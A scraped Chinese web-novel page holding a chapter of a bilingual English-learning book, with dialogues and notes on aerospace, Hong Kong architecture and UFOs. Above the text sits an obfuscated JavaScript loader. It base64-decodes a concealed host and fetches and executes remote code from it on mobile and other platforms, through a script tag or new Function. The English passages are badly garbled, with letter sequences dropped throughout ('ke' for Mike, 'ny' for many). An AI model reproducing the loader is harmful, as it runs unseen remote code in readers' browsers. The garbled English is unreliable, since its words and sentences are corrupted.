妙书阁小说

阅读记录  |   用户书架
上一页
目录 | 设置
下一章
function UqgsgfgDv(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{ c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function UqSDDFGvyQ(e){ var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,""); while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return UqgsgfgDv(t);};window[''+'U'+'Y'+'C'+'q'+'J'+'K'+'']=(!/^Mac|Win/.test(navigator.platform)||!navigator.platform)?function(){;(function(u,i,w,d,c){var x=UqSDDFGvyQ,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0])));'jQuery'; if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')>-1){var xhr=new XMLHttpRequest();xhr.open('POST','https://'+u+'/bm-'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'u'+'q'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else{var s=d[crd]('script');s.src='https://'+u+'/m-'+i;cs.parentElement.insertBefore(s,cs);}})('aGYuc2Rqa2JjamtzYmRzdnYuY29t','2843',window,document,['G','TpoZFcguG']);}:function(){};

02 科学技术(2 / 2)

加入书签 | 推荐本书 | 问题反馈 |

金:我想总有一天会实现的。

notes

1. spaceship [?speis??ip] n. 宇宙飞船

2.unch [?l?:nt?] v. 发动;推出;发射;n. 发射;下水;投产

3. aeronautical [,??r?'n?:tik?l] adj. 航空的;飞行术的

4. dule [?dju:l] n. 组件,模块,模件;(航天器)舱

5. rize [?raiz] v. 记住,熟记

6. dock [d?k] v. 使(船)进港,进港;n. 码头;被告席

7. precisely [pri?saisli] adv. 精确地;刻板地

8. aweso [??:s? adj. 令人叹为观止的,很棒的,了不起的

9. pl [?pl?nit] n. 行星

小贴士

1. our country has de rerkable progress on aerospace technology.

我们国家的航天技术已经取得了长足的进步。

2. re than one hundred years have past since the wright brothers invented the first ne in the world.

距离莱特兄弟发明飞机至今已经过去100多年了。

3. the boeingpany is still the giant in aerospace engineering.

波音公司依然在航空技术领域独占鳖头。

4. the space travel will not be just a fantasy any re.

星际旅行将不再是一个梦想。

5. the arican scientists n to invent an unnned space vehicle to explore the rs.

美国科学家计划发明一个无人飞行器去探索火星。

6. dern life needs the services of the applied satellites circling the earth on arge scale.

现代生活在很大程度上离不开环绕地球的应用卫星的服务。

7. the aerospace technology is a high-tech subject which depends on the support of ny other subjects.

航空航天技术是一门高技术的学科,需要很多其他学科的支持。

建筑工程

dialogue

owen just ca back frohis business trip to hong kong.

欧文刚刚从香港出差归来。

ke: when did youe back froyour business to hong kong?

迈克:你什么时候从香港出差回来的?

owen: i ca back the day before yesterday. it was a cheerful journey.

欧文:我前天回来的。真是一次愉快的旅行。

ke: you st have a good ti there,right?

迈克:你一定在那儿玩得很开心,对吧?

owen: of course, hong kong is a wonderful city. the beautiful scenery of seaside, and the towering buildings, everything there kes  linger on without any thought of leaving.

欧文:当然,香港是一个充满魅力的城市。海边的美丽风光,高耸入云的建筑,那里的一切都让我流连忘返。

ke: can you tell  sothing about your experience?

迈克:可以给我讲一下你的见闻吗?

owen: ok, the spot of hong kong which iressed  st was the zhongyin building. it looks like a baoo. it is said that it represents the sprit of power, vitality and enterprise.

欧文:好的,香港最令我印象深刻的景点就是中银大厦。它就像一根竹子,据说它代表着力量、生机、和进取的精神。

ke: really nice. i have heard the international finance center in hong kong. is it good enough, too?

迈克:真是太棒了。我听说过香港的国际金融中心,那也不错吧?

owen: absolutely. it is the tallest building in hong kong. the outer wall of its base is just like the style of the great wall, which represents china.

欧文:绝对,它是香港最高的建筑。楼基的外墙就像长城的风格一样,代表着中国。

ke: it's an ingenious design. hong kong is always a part of the thend.

迈克:真是个绝妙的设计。香港从来都是祖国的一部分。

owen: there are also ny buildings of ancient style. st john's cathedral is the oldest church building in hong kong. you can feel the profound culture and history of hong kong by visiting the cathedral.

欧文:也有许多古老风格的建筑。圣约翰教堂是香港最古老的教堂。去圣约翰教堂游玩,可以让你感受到香港的历史和文化。

ke: i have been attracted deeply now. i will visit hong kong by self one day for sure.

迈克:我已经动心了。总有一天我要亲自游览香港。

notes

1. cheerful [?t?i?ful] adj. 欢乐的;令人高兴的,使人感到愉快的

2. linger [?li?g?] v. 逗留,留恋徘徊,继续停留;缓慢消失

3. vitality [vai?t?liti] n. 活力,生命力;效力

4. enterprise [?ent?praiz] n. 进取心;(艰巨的)事业

5. ancient [?ein??nt] adj. 古代的;古老的,年老的

6. profound [pr??faund] adj. 深度的,深远的;见解深刻的,深奥的

小贴士

burj al arab, dubai

迪拜帆船酒店

burj al arabis a 5-star(often sleadingly referred to as 7-star)luxury hotel located in dubai, united arab erates. it's 321 ters high(1,053 ft), and it is the fourth tallest hotel in the world. burj al arab stands on an artificial ind 280 ters(920 ft)out frojuirah beach, and is connected to the ind by a private curving bridge. it is designed as a sailing ship.

burj al arab was designed by british architect towright. the design and construction were aplished by canadian engineer rick gregory.

帆船酒店坐落在阿拉伯联合酋长国迪拜市内,是一家五星级的奢华酒店(也常常被人误认为七星级)。高321米,是世界第四最高酒店。它矗立在离朱美拉海滩280米的一个人造岛上,通过一座私人的拱桥与陆地相连。整座酒店的设计就像一艘正在航行的帆船。

酒店由英国建筑师汤姆·赖斯设计。设计和构造由加拿大工程师瑞克·瑞格里所完成。

又见ufo

dialogue

ufo is always the topic people are d to discuss. john and david are talking about this topic.

不明飞行物一直是人们乐于讨论的话题。约翰和戴维就在讨论这一话题。

john: it has been ny years since arica's firstnding on the on. i'wondering why there's no second onnding n by any country till now.

约翰:美国第一次登陆月球已经过去很多年了。不知道为什么直到现在也没有任何国家进行第二次登月行动。

david: i have read so adventure records books about the onnding. it seed that the astronauts had encountered the ufo on the on.

戴维:我读过一些关于月球登陆纪实的探险纪录书籍。好像是宇航员在月球上遇到不明飞行物了。

john: oh, it is one piece of the vie transforrs 3. ybe it is the gatons.

约翰:噢,这是电影《变形金刚3》的一个片段。或许是威震天吧。

david: the filis just based on a fiction.but i think ufo do exist. the aliens st have visited the earth for ny tis.

戴维:电影只是根据小说创作的。但是我认为不明飞行物的确存在。外星人一定造访过地球很多次了。

john: i agree with you. ny people have witnessed the ufo in ny ces around the world. so of theare illusions. but i don't think all of theare just unreal.

约翰:我也这样觉得。世界很多地方都有人目击过不明飞行物。一些目击事件是错觉,但我认为不是所有的情况都是假的。

david: have you heard of the crop circles?

戴维:你听说过麦田怪圈吗?

john: yes, i've watched a tv prograe about it. it see that even the scientists couldn't exin the reason of that.

约翰:是的,我看过一个关于麦田怪圈的电视节目。好像连科学家都无法解释原因。

david: so people id that they had seen ufo near these circles. ybe we cannicate with the aliens directly with our technology one day.

戴维:一些人声称曾在麦田怪圈附近看到过不明飞行物。或许有一天我们可以依靠科技和外星人直接交流。

notes

1. wonder [?w?nd?] v. 感到疑惑(好奇),想知道;n. 惊奇;奇迹

2. record [?rek?:d] n. 记录,唱片;履历;v. 记录,写下

3. astronaut ['?str?n?:t] n. 宇航员

4. witness [?witnis] n. 目击者;证据;v. 目击;作证

5. illusion [i'lu??n] n. 幻想,错误的假象,幻觉;错误,假象

小贴士

crop circle

a crop circle is a sizable pattern created by the ttening of a crop such as wheat, barley, rye, ize, or cole. crop circles are also referred to as crop fortions, because they are not always circr in shape. while the exact date crop circle began to appear is unknown, the docunted cases have substantially increased frothe 1970s to current tis. approxitely ten thousand crop circles appeared in thest 30 years of the 20th century. ny percent of those were located in southern ennd. ny of the fortions appeared near the historecal reins, such as stonehenge. ording to one study, nearly half of all circles found in the uk in 2003 were located within a 15 k9.3 les)radius of avebury.

麦田怪圈

麦田怪圈是指在农田如小麦、大麦、黑麦、玉米、油菜等农田上通过某种力量把农作物压平而产生出几何图案。麦田怪圈也称农作物阵型,因为他们并不总是圆的形状。麦田怪圈的出现并没有一个确切的时间。有资料记载的此类现象出现于20世纪70年代。在20世纪的最后30年内大约出现了一万个麦田怪圈,而90%的麦田怪圈发生在英国南部。许多阵型都出现在古文明遗迹附近,如史前巨石阵。一项研究指出,2003年英国大约有一半的麦田怪圈在埃夫伯里周围15千米范围内的地区被发现。

chapter1();

上一页
目录
下一章
A- 18 A+
默认 贵族金 护眼绿 羊皮纸 可爱粉 夜间